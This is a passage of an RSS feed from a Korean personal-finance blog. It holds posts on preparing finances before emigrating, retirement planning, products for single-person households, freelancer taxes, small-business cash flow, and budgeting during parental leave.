      <description>&lt;h3&gt;&lt;strong&gt;이주 준비는 짐 싸기보다 통장 정리가 먼저일 수 있습니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;직장 이직, 유학, 혹은 영주권 취득을 이유로 해외이주를 계획하는 사람들이 점점 늘고 있습니다.&lt;br&gt;이주를 준비하면서 항공권, 집, 짐만 챙기기 쉬운데, 실제로는 &lt;strong&gt;해외생활의 첫 관문은 ‘금융’입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;환율 변동, 송금 수수료, 계좌 문제, 보험 해지까지 — 이 글에서는 &lt;strong&gt;해외이주 전에 준비해야 할 금융 정리와 환전 전략&lt;/strong&gt;을 다뤄보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 이주 전 꼭 점검할 국내 금융 항목&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;은행 계좌 정리&lt;/strong&gt;: 불필요한 계좌 해지, 이체 지정 계좌 정리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자동이체 내역 정리&lt;/strong&gt;: 휴대폰 요금, 구독 서비스 해지&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;신용카드 사용 중단&lt;/strong&gt;: 해외 출국 후 신용도에 영향 줄 수 있음&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;보험·연금 정리&lt;/strong&gt;: 국민연금 납입 여부, 보험 해지 or 유지 판단&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;휴면계좌 조회&lt;/strong&gt;: 전자금융공사 사이트 통해 정리 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;팁:&lt;/strong&gt; 필요 계좌 1~2개만 유지하고, OTP/공인인증서/비밀번호도 미리 점검해두세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 환전 전략, 이렇게 준비하면 덜 손해봅니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;계획적 환전&lt;/strong&gt;: 환율 우대 이벤트를 활용해 &lt;strong&gt;여러 번 나눠 환전&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;환전 지갑 앱 사용&lt;/strong&gt;: 토스, 하나머니, 신한 SOL 등에서 실시간 환전 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;환테크 카드&lt;/strong&gt;: 글로벌 카드(예: 삼성 글로벌페이, 현대 Zero Edition) 활용 시 수수료 최소화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;미리 외화예금 개설&lt;/strong&gt;: 일정 금액 이상은 &lt;strong&gt;외화통장에 분산 보관&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;환전은 타이밍보다도 분산과 수수료 절감이 핵심입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 해외에서 필요한 금융 체크리스트&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;현지 은행 계좌 개설 준비&lt;/strong&gt;: 여권, 거주증명, 고용계약서 등이 필요&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;현지 카드 발급 전까지 국내 카드 대비책 마련&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;해외에서 가능한 송금 서비스 확인&lt;/strong&gt;: Wise, Remitly 등 비교&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;납세·보고 의무 확인&lt;/strong&gt;: 일부 국가는 자산 보유 신고 의무 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 자산 이전과 세무 전략도 고려하세요&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;국외 재산신고 요건 확인&lt;/strong&gt;: 출국 전 자산이 일정 기준 넘을 경우 필수&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;해외이주 신고&lt;/strong&gt;: 주민등록 말소, 출입국 신고 등과 연계되어 세금 혜택 또는 의무에 영향&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;부동산 보유 시 대리인 지정&lt;/strong&gt;: 국내 재산 관리 대비 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 해외이주, 금융 준비가 마음의 여유를 만듭니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;여권보다 먼저 준비해야 할 것이 바로 &lt;strong&gt;나의 금융 정보 정리&lt;/strong&gt;입니다.&lt;br&gt;특히 환전, 계좌, 카드, 보험, 세금은 &lt;strong&gt;출국 전에 반드시 점검해야 할 핵심 항목&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;부주의한 금융 누락이 &lt;strong&gt;현지에서의 불편함과 비용&lt;/strong&gt;으로 돌아올 수 있습니다.&lt;br&gt;&lt;strong&gt;금융은 짐보다 먼저 싸야 할 이주 준비의 첫 단계&lt;/strong&gt;입니다.&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/472</guid>
      <comments>https://eyecandyzero.tistory.com/472#entry472comment</comments>
      <pubDate>Mon, 2 Jun 2025 07:56:43 +0900</pubDate>
    </item>
    <item>
      <title>은퇴 준비, 언제부터 어떻게 시작해야 할까</title>
      <link>https://eyecandyzero.tistory.com/471</link>
      <description>&lt;h3&gt;&lt;strong&gt;늦기 전에가 아니라, 지금부터 시작하는 것이 정답입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;“아직 멀었지”라고 생각하다 보면 어느새 은퇴가 현실로 다가옵니다.&lt;br&gt;노후는 갑자기 시작되지만, 준비는 긴 시간이 필요한 법입니다.&lt;/p&gt;
&lt;p&gt;이 글에서는 &lt;strong&gt;은퇴 준비의 타이밍과 구체적인 재무 계획&lt;/strong&gt;을 어떻게 세워야 하는지 살펴보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 은퇴 준비는 언제부터 시작하는 게 좋을까요?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;20~30대&lt;/strong&gt;: 작은 금액이라도 &lt;strong&gt;습관 형성이 핵심&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;40대&lt;/strong&gt;: 본격적인 &lt;strong&gt;자산 축적기&lt;/strong&gt;, 연금·부동산 포트폴리오 구성 시작&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;50대 이후&lt;/strong&gt;: &lt;strong&gt;현금 흐름 조정&lt;/strong&gt; + &lt;strong&gt;지출 최적화 + 연금 점검&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;은퇴 시점 15~20년 전부터 준비하는 것이 가장 이상적입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 노후 준비에 필요한 금액은 얼마일까요?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;통계청 기준 &lt;strong&gt;월평균 최소 생활비 약 140만 원 (1인 기준)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;의료비, 주거비 등 포함하면 &lt;strong&gt;월 200만 원 이상 필요&lt;/strong&gt; 가능성&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;예: 80세까지 20년을 준비한다면 → 최소 4억 원 이상 필요&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 은퇴 준비를 위한 핵심 금융상품은?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;국민연금&lt;/strong&gt;: 기본 노후소득 / 납입 기간 최대화가 유리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;개인연금(연금저축, IRP)&lt;/strong&gt;: 세액공제 + 연금소득으로 분산&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;주택연금&lt;/strong&gt;: 고령 보유 주택 자산 활용, 평생 월지급금 확보&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;장기 적립식 펀드&lt;/strong&gt;: 자산의 일부는 인플레이션 대응용 투자 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 은퇴 전 꼭 점검해야 할 것들&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;부채 정리&lt;/strong&gt;: 은퇴 후 고정수입 없으므로, 이자 부담 제거 중요&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;지출 구조 조정&lt;/strong&gt;: 자동차, 교육비 등 축소 가능한 항목 재편&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;건강보험 및 실손보험 재정비&lt;/strong&gt;: 의료비 지출 대비 필수&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자녀 지원 범위 설정&lt;/strong&gt;: 무리한 부양으로 노후 자산 소진 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 은퇴는 나중 일이지만, 준비는 오늘부터입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;노후는 반드시 오지만, &lt;strong&gt;준비되지 않은 노후는 위험입니다.&lt;/strong&gt;&lt;br&gt;은퇴는 단순히 일을 그만두는 것이 아니라, &lt;strong&gt;다른 삶의 방식으로 넘어가는 전환점&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;그 전환이 안정적이고 평온하려면,&lt;br&gt;&lt;strong&gt;수입 없이도 지속 가능한 재무 구조와 생활 패턴을 지금부터 설계해야 합니다.&lt;/strong&gt;&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/471</guid>
      <comments>https://eyecandyzero.tistory.com/471#entry471comment</comments>
      <pubDate>Mon, 2 Jun 2025 07:55:01 +0900</pubDate>
    </item>
    <item>
      <title>1인 가구를 위한 금융상품 추천</title>
      <link>https://eyecandyzero.tistory.com/470</link>
      <description>&lt;h3&gt;&lt;strong&gt;가족이 없다는 건, 재정적으로는 선택을 스스로 책임져야 한다는 뜻입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;1인 가구는 이제 전체 가구의 30%를 넘었습니다.&lt;br&gt;혼자 사는 만큼 &lt;strong&gt;생활비 부담은 오롯이 개인의 몫&lt;/strong&gt;이고, 위기 상황에서도 스스로를 지킬 수 있어야 합니다.&lt;/p&gt;
&lt;p&gt;따라서 1인 가구에게는 ‘공동체 보완’이 아닌, &lt;strong&gt;개인의 리스크를 줄여주는 금융 전략과 상품 선택&lt;/strong&gt;이 중요합니다.&lt;br&gt;이번 글에서는 실질적으로 도움이 되는 &lt;strong&gt;1인 가구 맞춤형 금융상품&lt;/strong&gt;을 중심으로 소개합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 고정지출을 줄이는 기본: 통신비/보험비 절감 상품&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;알뜰폰 요금제&lt;/strong&gt;: 월 1~2만 원대 요금제로 통신비 50% 이상 절감&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;실손의료보험 단독형&lt;/strong&gt;: 가족력이 없다면 과도한 특약 대신 보장 중심으로 구성&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;미니보험&lt;/strong&gt;: 입원일당, 사고보장 중심의 저가형 보험 상품 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 비상 상황에 대비하는 안전장치&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CMA(현금관리계좌)&lt;/strong&gt;: 고금리 + 입출금 자유로운 비상자금 관리 계좌&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;소액 단기 상해보험&lt;/strong&gt;: 사고 발생 시 병원비와 생활비 보전 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자동이체 긴급해지 서비스&lt;/strong&gt;: 은행에서 설정 시 돌발상황에 유용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 장기적 자산 형성을 위한 저축/투자 상품&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;청년도약계좌 또는 청년희망적금&lt;/strong&gt;: 조건 충족 시 정부 기여금 + 비과세 혜택&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;적립식 펀드 + ISA 계좌&lt;/strong&gt;: 소액으로도 투자 가능, 절세 효과 동반&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;연금저축 or IRP&lt;/strong&gt;: 노후 준비용 필수 상품, 1인 가구일수록 조기 시작이 유리&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 혼자 사는 사람에게 꼭 필요한 금융 앱 &amp;amp; 도구&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;가계부 앱&lt;/strong&gt;: 뱅크샐러드, 브로콜리 등 자동 분류 기능 활용&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;소비 패턴 분석 툴&lt;/strong&gt;: 카드사 제공 리포트, 토스 ‘소비 리포트’ 등 활용&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자동 알림 설정&lt;/strong&gt;: 납부일, 적금 만기, 이자 발생일 등 놓치기 쉬운 일정 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 1인 가구에게 금융은 더 전략적이어야 합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;공동 부담이 아닌 &lt;strong&gt;전부 책임지는 구조&lt;/strong&gt;이기 때문에,&lt;br&gt;지출은 효율적으로, 저축은 체계적으로 관리하는 전략이 필요합니다.&lt;/p&gt;
&lt;p&gt;1인 가구라는 조건은 더 이상 특수한 상황이 아닙니다.&lt;br&gt;&lt;strong&gt;혼자서도 안전하고 여유 있는 삶을 위해, 내게 맞는 금융 도구부터 마련해보세요.&lt;/strong&gt;&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/470</guid>
      <comments>https://eyecandyzero.tistory.com/470#entry470comment</comments>
      <pubDate>Sun, 1 Jun 2025 09:41:43 +0900</pubDate>
    </item>
    <item>
      <title>프리랜서를 위한 세금과 저축 전략</title>
      <link>https://eyecandyzero.tistory.com/469</link>
      <description>&lt;h3&gt;&lt;strong&gt;불규칙한 수입 속에서 지켜야 할 건 예측 가능한 구조입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;프리랜서는 자유롭고 유연한 근무 조건이 장점이지만, 그만큼 &lt;strong&gt;세금과 저축에 있어서는 스스로 책임져야 할 부분이 많습니다.&lt;/strong&gt;&lt;br&gt;수입이 매달 다르고, 소득 신고도 직접 해야 하기 때문에 &lt;strong&gt;사전에 재무 구조를 잘 정리해두지 않으면 납부 시점에 큰 부담이 생길 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이번 글에서는 프리랜서가 실천할 수 있는 &lt;strong&gt;현실적인 세금 관리법과 저축 전략&lt;/strong&gt;을 살펴보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 소득 유형에 따라 신고 기준이 달라집니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;근로소득이 아닌 ‘사업소득’으로 분류&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;3.3% 원천징수 후 지급되지만, &lt;em&gt;*연말에 종합소득세 신고 필수&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;세전 소득에서 20~30%는 세금 대비용으로 별도 보관 권장&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;세금은 나중에 한 번에 내는 구조이기 때문에, 미리 분리해두는 습관이 중요합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 세금 절세를 위한 준비는 연초부터 시작해야 합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;경비 처리 가능 항목&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;업무용 노트북, 교통비, 통신비, 관련 도서 및 소프트웨어 등&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사업자 등록 여부&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;간이과세자 or 일반과세자로 등록하면 부가세 환급 및 경비처리 범위 확대 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;신고 유형별 비교&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;무등록 프리랜서 → 경비 인정 한도 적음&lt;/li&gt;
&lt;li&gt;사업자 등록자 → 매입자료 관리 필요하지만 경비 인정폭 넓음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 프리랜서를 위한 저축 전략&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;현금흐름 비율 관리&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;총 수입의 60% 소비, 20% 세금, 20% 저축 구조 추천&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;비상자금 확보&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;최소 6개월치 생활비 + 예상 세금 규모 확보&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;노후 대비&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;국민연금 임의가입 + 연금저축, IRP 활용 → 절세 + 미래 자산 마련&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 건강보험과 국민연금도 직접 챙겨야 합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;건강보험&lt;/strong&gt;: 직장가입이 아닌 ‘지역가입자’로 책정 → 수입 많을수록 보험료 비싸짐&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;국민연금&lt;/strong&gt;: 임의가입 가능 / 연소득 5400만 원 이상일 경우 가입 의무화 검토 중&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;불안정한 수입이더라도, 보험과 연금은 가계의 기본 안전장치입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 프리랜서의 재정은 스스로 세워야 굴러갑니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;누구도 대신해주지 않는 만큼, 프리랜서에게는 &lt;strong&gt;사전 대응력이 곧 재정의 안정성&lt;/strong&gt;입니다.&lt;br&gt;소득이 많은 달에 아끼고, 적은 달을 대비하며,&lt;br&gt;&lt;strong&gt;세금은 피하지 않고 계획적으로 준비하는 자세&lt;/strong&gt;,&lt;br&gt;그것이 프리랜서로 오래 일하기 위한 가장 현실적인 전략입니다.&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/469</guid>
      <comments>https://eyecandyzero.tistory.com/469#entry469comment</comments>
      <pubDate>Sun, 1 Jun 2025 09:11:00 +0900</pubDate>
    </item>
    <item>
      <title>자영업자의 재무 관리, 어디서부터 시작해야 할까</title>
      <link>https://eyecandyzero.tistory.com/468</link>
      <description>&lt;h3&gt;&lt;strong&gt;매출보다 중요한 건 현금 흐름, 비용보다 중요한 건 구조입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;자영업은 ‘내 사업’이라는 자율성과 동시에, &lt;strong&gt;불규칙한 수입과 과중한 지출&lt;/strong&gt;이라는 리스크를 안고 있습니다.&lt;br&gt;특히 경제 불확실성이 커지는 요즘, 자영업자의 재무 관리는 생존과 직결됩니다.&lt;/p&gt;
&lt;p&gt;이번 글에서는 자영업자들이 &lt;strong&gt;소득을 안정적으로 유지하고, 지출을 통제하며, 장기적으로 지속 가능한 재정을 설계할 수 있는 방법&lt;/strong&gt;들을 살펴보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 사업용 계좌와 개인 계좌는 반드시 분리해야 합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;수입·지출 흐름을 명확히 파악&lt;/strong&gt;하려면 분리 필수&lt;/li&gt;
&lt;li&gt;세금 신고, 비용 처리, 정부지원금 수령 시 불리익 방지&lt;/li&gt;
&lt;li&gt;가계 재정과 사업 재정을 혼합하면 &lt;strong&gt;적자 원인이 모호해져 통제 불가&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;가장 기본적인 구조부터 나누는 것이 재무관리의 시작입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 매출보다 ‘순이익’에 집중해야 합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;월 매출 5,000만 원도 &lt;strong&gt;고정비·변동비 빠지면 적자&lt;/strong&gt; 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;고정비(임대료, 인건비), 변동비(원재료, 배달 수수료) 구조 분석&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;순이익을 기준으로 &lt;strong&gt;적정 생활비와 투자 여력을 계산&lt;/strong&gt;해야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 비용 통제는 숫자가 아닌 ‘패턴’으로 봐야 합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;‘불필요한 지출’보다 &lt;strong&gt;지출 패턴의 고착화&lt;/strong&gt;가 문제&lt;/li&gt;
&lt;li&gt;예: 광고비 과다 집행 → ROI 분석 없이 습관화되면 손실 요인&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;월별 지출 패턴 시각화&lt;/strong&gt; → 엑셀, 가계부 앱 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 세금 관리는 수입과 동시에 병행해야 합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;부가세, 종합소득세 대비 분리 적립 필수&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;매출의 10~15%는 예비세금 계좌에 이체&lt;/strong&gt; 권장&lt;/li&gt;
&lt;li&gt;간이과세자라도 &lt;strong&gt;연 매출에 따른 세금 구간 파악 중요&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;5. 자영업자도 반드시 준비해야 할 금융 항목들&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;국민연금, 건강보험 지역가입&lt;/strong&gt; 요율 점검&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;노후 대비 위한 연금저축, IRP 적극 활용&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;비상자금 확보&lt;/strong&gt;: 월 고정비 3~6개월분 확보&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 자영업의 성공은 상품보다 숫자에 달려있습니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;사업의 본질은 ‘이윤’입니다.&lt;br&gt;그리고 이윤은 &lt;strong&gt;잘 팔리는 상품보다, 잘 정리된 재무에서 먼저 시작됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;소득 구조를 파악하고, 비용을 점검하며, 현금 흐름을 예측하는 습관이&lt;br&gt;자영업자의 ‘버틸 수 있는 힘’이자, 성장의 바탕이 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;기초부터 단단하게 관리해보세요. 숫자는 거짓말하지 않습니다.&lt;/strong&gt;&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/468</guid>
      <comments>https://eyecandyzero.tistory.com/468#entry468comment</comments>
      <pubDate>Sun, 1 Jun 2025 08:26:24 +0900</pubDate>
    </item>
    <item>
      <title>육아휴직 중 재무계획, 어떻게 세워야 할까</title>
      <link>https://eyecandyzero.tistory.com/467</link>
      <description>&lt;h3&gt;&lt;strong&gt;소득이 줄어드는 시기, 지출과 미래 준비의 균형이 중요합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;육아휴직은 육아를 위한 중요한 권리이자 기회입니다. 하지만 동시에 &lt;strong&gt;가계 재정에는 큰 변화가 생기는 시기&lt;/strong&gt;이기도 합니다.&lt;br&gt;급여는 줄고, 지출은 오히려 늘어날 수 있는 이 시기에는 &lt;strong&gt;철저한 재무계획이 필요&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;p&gt;이번 글에서는 육아휴직 전후로 점검해야 할 금융 포인트와, &lt;strong&gt;안정적인 재정 운영을 위한 팁&lt;/strong&gt;들을 정리해보았습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 육아휴직 급여, 얼마나 받을 수 있나요?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;고용보험 가입 근로자는 &lt;strong&gt;육아휴직 첫 3개월간 통상임금의 80%&lt;/strong&gt; (상한 150만 원)&lt;/li&gt;
&lt;li&gt;이후 4개월째부터는 &lt;strong&gt;통상임금의 50%&lt;/strong&gt; (상한 120만 원, 하한 70만 원)&lt;/li&gt;
&lt;li&gt;최대 1년까지 지급 가능하며, 부부가 순차적 사용 시 &lt;strong&gt;‘아빠 육아휴직 보너스제’&lt;/strong&gt; 적용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;소득이 완전히 끊기진 않지만, 생활비 수준에는 못 미칠 수 있으므로 사전 준비가 필요합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 고정지출 점검이 최우선입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;육아휴직 전 3개월 평균 지출 분석&lt;/strong&gt; → 생활비 기본 구조 파악&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;불필요한 구독 서비스·보험 점검&lt;/strong&gt; → 축소 또는 해지 고려&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;통신비·전기료 등 고정비 절감&lt;/strong&gt; → 요금제 변경, 할인 프로모션 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이 시기에는 &lt;strong&gt;‘절약’보다 ‘지출 구조 정리’가 더 효과적&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 비상자금은 어떻게 준비해야 하나요?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;기본적으로 &lt;strong&gt;3~6개월치 생활비 비축&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;육아 관련 예상 지출 포함해 여유 있게 계획&lt;br&gt;  (예: 분유, 기저귀, 예방접종, 산후조리 등)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;입출금이 자유로운 계좌 또는 CMA 활용&lt;/strong&gt; → 유동성 확보&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 장기 재무계획 수정도 고려할 시점입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;연금저축, 적립식 펀드&lt;/strong&gt; 등 자동이체 일시 중단 검토&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;아동 관련 금융상품&lt;/strong&gt; 가입 타이밍 조율 (예: 아이 이름 통장, 주택청약저축)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;부부 합산 가계부 작성&lt;/strong&gt; → 전체 소득·지출 흐름 파악이 중요&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;5. 정부·지자체 지원 제도 적극 활용하기&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;출산장려금, 양육수당, 아동수당&lt;/strong&gt; 등 확인&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;지자체별 출산·육아 지원 프로그램&lt;/strong&gt; 수시 체크&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;건강보험료 납부 유예&lt;/strong&gt;: 소득 감소 증빙 시 적용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
